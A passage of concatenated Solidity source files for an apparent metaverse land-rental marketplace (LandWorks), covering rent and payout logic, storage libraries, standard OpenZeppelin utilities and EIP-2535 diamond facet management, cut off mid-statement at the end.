AssetStatus { Listed, Delisted } struct Asset { uint256 metaverseId; address metaverseRegistry; uint256 metaverseAssetId; address paymentToken; uint256 minPeriod; uint256 maxPeriod; uint256 maxFutureTime; uint256 pricePerSecond; uint256 totalRents; AssetStatus status; } struct Rent { address renter; uint256 start; uint256 end; } struct MetaverseRegistry { // Name of the Metaverse string name; // Supported registries EnumerableSet.AddressSet registries; } struct MarketplaceStorage { // Supported metaverse registries mapping(uint256 => MetaverseRegistry) metaverseRegistries; // Assets by ID mapping(uint256 => Asset) assets; // Rents by asset ID mapping(uint256 => mapping(uint256 => Rent)) rents; } function marketplaceStorage() internal pure returns (MarketplaceStorage storage ms) { bytes32 position = MARKETPLACE_STORAGE_POSITION; assembly { ms.slot := position } } function setMetaverseName(uint256 _metaverseId, string memory _name) internal { marketplaceStorage().metaverseRegistries[_metaverseId].name = _name; } function metaverseName(uint256 _metaverseId) internal view returns (string memory) { return marketplaceStorage().metaverseRegistries[_metaverseId].name; } function setRegistry( uint256 _metaverseId, address _registry, bool _status ) internal { LibMarketplace.MetaverseRegistry storage mr = marketplaceStorage() .metaverseRegistries[_metaverseId]; if (_status) { require(mr.registries.add(_registry), "_registry already added"); } else { require(mr.registries.remove(_registry), "_registry not found"); } } function supportsRegistry(uint256 _metaverseId, address _registry) internal view returns (bool) { return marketplaceStorage() .metaverseRegistries[_metaverseId] .registries .contains(_registry); } function totalRegistries(uint256 _metaverseId) internal view returns (uint256) { return marketplaceStorage() .metaverseRegistries[_metaverseId] .registries .length(); } function registryAt(uint256 _metaverseId, uint256 _index) internal view returns (address) { return marketplaceStorage() .metaverseRegistries[_metaverseId] .registries .at(_index); } function addRent( uint256 _assetId, address _renter, uint256 _start, uint256 _end ) internal returns (uint256) { LibMarketplace.MarketplaceStorage storage ms = marketplaceStorage(); uint256 newRentId = ms.assets[_assetId].totalRents + 1; ms.assets[_assetId].totalRents = newRentId; ms.rents[_assetId][newRentId] = LibMarketplace.Rent({ renter: _renter, start: _start, end: _end }); return newRentId; } function assetAt(uint256 _assetId) internal view returns (Asset memory) { return marketplaceStorage().assets[_assetId]; } function rentAt(uint256 _assetId, uint256 _rentId) internal view returns (Rent memory) { return marketplaceStorage().rents[_assetId][_rentId]; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.10; library LibMetaverseConsumableAdapter { bytes32 constant METAVERSE_CONSUMABLE_ADAPTER_POSITION = keccak256("com.enterdao.landworks.metaverse.consumable.adapter"); struct MetaverseConsumableAdapterStorage { // Stores the adapters for each metaverse mapping(address => address) consumableAdapters; // Stores the administrative consumers for each metaverse mapping(address => address) administrativeConsumers; // Stores the consumers for each asset's rentals mapping(uint256 => mapping(uint256 => address)) consumers; } function metaverseConsumableAdapterStorage() internal pure returns (MetaverseConsumableAdapterStorage storage mcas) { bytes32 position = METAVERSE_CONSUMABLE_ADAPTER_POSITION; assembly { mcas.slot := position } } } // SPDX-License-Identifier: MIT pragma solidity 0.8.10; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "../LibERC721.sol"; import "../LibFee.sol"; import "../LibTransfer.sol"; import "../marketplace/LibMarketplace.sol"; library LibRent { using SafeERC20 for IERC20; address constant ETHEREUM_PAYMENT_TOKEN = address(1); event Rent( uint256 indexed _assetId, uint256 _rentId, address indexed _renter, uint256 _start, uint256 _end, address indexed _paymentToken, uint256 _rent, uint256 _protocolFee ); struct RentParams { uint256 _assetId; uint256 _period; uint256 _maxRentStart; address _paymentToken; uint256 _amount; } /// @dev Rents asset for a given period (in seconds) /// Rent is added to the queue of pending rents. /// Rent start will begin from the last rented timestamp. /// If no active rents are found, rents starts from the current timestamp. function rent(RentParams memory rentParams) internal returns (uint256, bool) { LibMarketplace.MarketplaceStorage storage ms = LibMarketplace .marketplaceStorage(); require(LibERC721.exists(rentParams._assetId), "_assetId not found"); LibMarketplace.Asset memory asset = ms.assets[rentParams._assetId]; require( asset.status == LibMarketplace.AssetStatus.Listed, "_assetId not listed" ); require( rentParams._period >= asset.minPeriod, "_period less than minPeriod" ); require( rentParams._period <= asset.maxPeriod, "_period more than maxPeriod" ); require( rentParams._paymentToken == asset.paymentToken, "invalid _paymentToken" ); bool rentStartsNow = true; uint256 rentStart = block.timestamp; uint256 lastRentEnd = ms .rents[rentParams._assetId][asset.totalRents].end; if (lastRentEnd > rentStart) { rentStart = lastRentEnd; rentStartsNow = false; } require( rentStart <= rentParams._maxRentStart, "rent start exceeds maxRentStart" ); uint256 rentEnd = rentStart + rentParams._period; require( block.timestamp + asset.maxFutureTime >= rentEnd, "rent more than current maxFutureTime" ); uint256 rentPayment = rentParams._period * asset.pricePerSecond; require(rentParams._amount == rentPayment, "invalid _amount"); if (asset.paymentToken == ETHEREUM_PAYMENT_TOKEN) { require(msg.value == rentPayment, "invalid msg.value"); } else { require(msg.value == 0, "invalid token msg.value"); } (uint256 rentFee, uint256 protocolFee) = LibFee.distributeFees( rentParams._assetId, asset.paymentToken, rentPayment ); uint256 rentId = LibMarketplace.addRent( rentParams._assetId, msg.sender, rentStart, rentEnd ); if (asset.paymentToken != ETHEREUM_PAYMENT_TOKEN) { LibTransfer.safeTransferFrom( asset.paymentToken, msg.sender, address(this), rentPayment ); } emit Rent( rentParams._assetId, rentId, msg.sender, rentStart, rentEnd, asset.paymentToken, rentFee, protocolFee ); return (rentId, rentStartsNow); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.10; import "../libraries/LibERC721.sol"; import "../libraries/LibTransfer.sol"; import "../libraries/LibFee.sol"; import "../libraries/marketplace/LibMarketplace.sol"; import "../interfaces/IRentPayout.sol"; contract RentPayout is IRentPayout { modifier payout(uint256 tokenId) { payoutRent(tokenId); _; } /// @dev Pays out the accumulated rent for a given tokenId /// Rent is paid out to consumer if set, otherwise it is paid to the owner of the LandWorks NFT function payoutRent(uint256 tokenId) internal { address paymentToken = LibMarketplace .marketplaceStorage() .assets[tokenId] .paymentToken; uint256 amount = LibFee.clearAccumulatedRent(tokenId, paymentToken); if (amount == 0) { return; } address receiver = LibERC721.consumerOf(tokenId); if (receiver == address(0)) { receiver = LibERC721.ownerOf(tokenId); } LibTransfer.safeTransfer(paymentToken, receiver, amount); emit ClaimRentFee(tokenId, paymentToken, receiver, amount); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity 0.8.10; interface IRentable { /// @notice Emitted once a given asset has been rented event Rent( uint256 indexed _assetId, uint256 _rentId, address indexed _renter, uint256 _start, uint256 _end, address indexed _paymentToken, uint256 _rent, uint256 _protocolFee ); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/structs/EnumerableSet.sol) pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity 0.8.10; /******************************************************************************\ * Author: Nick Mudge <[email protected]> (https://twitter.com/mudgen) * EIP-2535 Diamond Standard: https://eips.ethereum.org/EIPS/eip-2535 /******************************************************************************/ import { IDiamondCut } from "../interfaces/IDiamondCut.sol"; library LibDiamond { bytes32 constant DIAMOND_STORAGE_POSITION = keccak256("com.enterdao.landworks.storage"); struct FacetAddressAndPosition { address facetAddress; uint96 functionSelectorPosition; // position in facetFunctionSelectors.functionSelectors array } struct FacetFunctionSelectors { bytes4[] functionSelectors; uint256 facetAddressPosition; // position of facetAddress in facetAddresses array } struct DiamondStorage { // maps function selector to the facet address and // the position of the selector in the facetFunctionSelectors.selectors array mapping(bytes4 => FacetAddressAndPosition) selectorToFacetAndPosition; // maps facet addresses to function selectors mapping(address => FacetFunctionSelectors) facetFunctionSelectors; // facet addresses address[] facetAddresses; // Used to query if a contract implements an interface. // Used to implement ERC-165. mapping(bytes4 => bool) supportedInterfaces; // owner of the contract address contractOwner; } function diamondStorage() internal pure returns (DiamondStorage storage ds) { bytes32 position = DIAMOND_STORAGE_POSITION; assembly { ds.slot := position } } event DiamondCut(IDiamondCut.FacetCut[] _diamondCut, address _init, bytes _calldata); // Internal function version of diamondCut function diamondCut( IDiamondCut.FacetCut[] memory _diamondCut, address _init, bytes memory _calldata ) internal { for (uint256 facetIndex; facetIndex < _diamondCut.length; facetIndex++) { IDiamondCut.FacetCutAction action = _diamondCut[facetIndex].action; if (action == IDiamondCut.FacetCutAction.Add) { addFunctions(_diamondCut[facetIndex].facetAddress, _diamondCut[facetIndex].functionSelectors); } else if (action == IDiamondCut.FacetCutAction.Replace) { replaceFunctions(_diamondCut[facetIndex].facetAddress, _diamondCut[facetIndex].functionSelectors); } else if (action == IDiamondCut.FacetCutAction.Remove) { removeFunctions(_diamondCut[facetIndex].facetAddress, _diamondCut[facetIndex].functionSelectors); } else { revert("LibDiamondCut: Incorrect FacetCutAction"); } } emit DiamondCut(_diamondCut, _init, _calldata); initializeDiamondCut(_init, _calldata); } function addFunctions(address _facetAddress, bytes4[] memory _functionSelectors) internal { require(_functionSelectors.length > 0, "LibDiamondCut: No selectors in facet to cut"); DiamondStorage storage ds = diamondStorage(); require(_facetAddress != address(0), "LibDiamondCut: Add facet can't be address(0)"); uint96 selectorPosition = uint96(ds.facetFunctionSelectors[_facetAddress].functionSelectors.length); // add new facet address if it does not exist if (selectorPosition == 0) { addFacet(ds, _facetAddress); } for (uint256 selectorIndex; selectorIndex < _functionSelectors.length; selectorIndex++) { bytes4 selector = _functionSelectors[selectorIndex]; address oldFacetAddress = ds.selectorToFacetAndPosition[selector].facetAddress; require(oldFacetAddress == address(0), "LibDiamondCut: Can't add function that already exists"); addFunction(ds, selector, selectorPosition, _facetAddress); selectorPosition++; } } function replaceFunctions(address _facetAddress, bytes4[] memory _functionSelectors) internal { require(_functionSelectors.length > 0, "LibDiamondCut: No selectors in facet to cut"); DiamondStorage storage ds = diamondStorage(); require(_facetAddress != address(0), "LibDiamondCut: Add facet can't be address(0)"); uint96 selectorPosition = uint96(ds.facetFunctionSelectors[_facetAddress].functionSelectors.length); // add new facet address if it does not exist if (selectorPosition == 0) { addFacet(ds, _facetAddress); } for (uint256 selectorIndex; selectorIndex < _functionSelectors.length; selectorIndex++) { bytes4 selector = _functionSelectors[selectorIndex]; address oldFacetAddress = ds.selectorToFacetAndPosition[selector].facetAddress; require(oldFacetAddress != _facetAddress, "LibDiamondCut: Can't replace function with same function"); removeFunction(ds, oldFacetAddress, selector); addFunction(ds, selector, selectorPosition, _facetAddress); selectorPosition++; } } function removeFunctions(address _facetAddress, bytes4[] memory _functionSelectors) internal { require(_functionSelectors.length > 0, "LibDiamondCut: No selectors in facet to cut"); DiamondStorage storage ds = diamondStorage(); // if function does not exist then do nothing and return require(_facetAddress == address(0), "LibDiamondCut: Remove facet address must be address(0)"); for (uint256 selectorIndex; selectorIndex < _functionSelectors.length; selectorIndex++) { bytes4 selector = _functionSelectors[selectorIndex]; address oldFacetAddress = ds.selectorToFacetAndPosition[selector].facetAddress; removeFunction(ds, oldFacetAddress, selector); } } function addFacet(DiamondStorage storage ds, address _facetAddress) internal { enforceHasContractCode(_facetAddress, "LibDiamondCut: New facet has no code"); ds.facetFunctionSelectors[_facetAddress].facetAddressPosition = ds.facetAddresses.length; ds.facetAddresses.push(_facetAddress); } function addFunction(DiamondStorage storage ds, bytes4 _selector, uint96 _selectorPosition, address _facetAddress) internal { ds.selectorToFacetAndPosition[_selector].functionSelectorPosition = _selectorPosition; ds.facetFunctionSelectors[_facetAddress].functionSelectors.push(_selector); ds.selectorToFacetAndPosition[_selector].facetAddress = _facetAddress; } function removeFunction(DiamondStorage storage ds, address _facetAddress, bytes4 _selector) internal { require(_facetAddress != address(0), "LibDiamondCut: Can't remove function that doesn't exist"); // an immutable function is a function defined directly in a diamond require(_facetAddress != address(this), "LibDiamondCut: Can't remove immutable function"); // replace selector with last selector, then delete last selector uint256 selectorPosition = ds.selectorToFacetAndPosition[_selector].functionSelectorPosition; uint256 lastSelectorPosition = ds.facetFunctionSelectors[_facetAddress].functionSelectors.length - 1; // if not the same then replace _selector with lastSelector if (selectorPosition != lastSelectorPosition) { bytes4 lastSelector = ds.facetFunctionSelectors[_facetAddress].functionSelectors[lastSelectorPosition]; ds.facetFunctionSelectors[_facetAddress].functionSelectors[selectorPosition] = lastSelector; ds.selectorToFacetAndPosition[lastSelector].functionSelectorPosition = uint96(selectorPosition); } // delete the last selector ds.facetFunctionSelectors[_facetAddress].functionSelectors.pop(); delete ds.selectorToFacetAndPosition[_selector]; // if no more selectors for facet address then delete the facet address if (lastSelectorPosition == 0) { // replace facet address with last facet address and delete last facet address uint256 lastFacetAddressPosition = ds.facetAddresses.length - 1; uint256 facetAddressPosition = ds.facetFunctionSelectors[_facetAddress].facetAddressPosition; if (facetAddressPosition != lastFacetAddressPosition) { address lastFacetAddress = ds.facetAddresses[lastFacetAddressPosition]; ds.facetAddresses[facetAddressPosition] = lastFacetAddress; ds.facetFunctionSelectors[lastFacetAddress].facetAddressPosition = facetAddressPosition; } ds.facetAddresses.pop(); delete ds.facetFunctionSelectors[_facetAddress].facetAddressPosition; } } function initializeDiamondCut(address _init, bytes memory _calldata) internal { if (_init == address(0)) { require(_calldata.length == 0, "LibDiamondCut: _init is address(0) but_calldata is not empty"); } else { require(_calldata.length > 0, "LibDiamondCut: _calldata is empty but _init is not address(0)"); if (_init != address(this)) { enforceHasContractCode(_init, "LibDiamondCut: _init address has no code"); } (bool success, bytes memory error) = 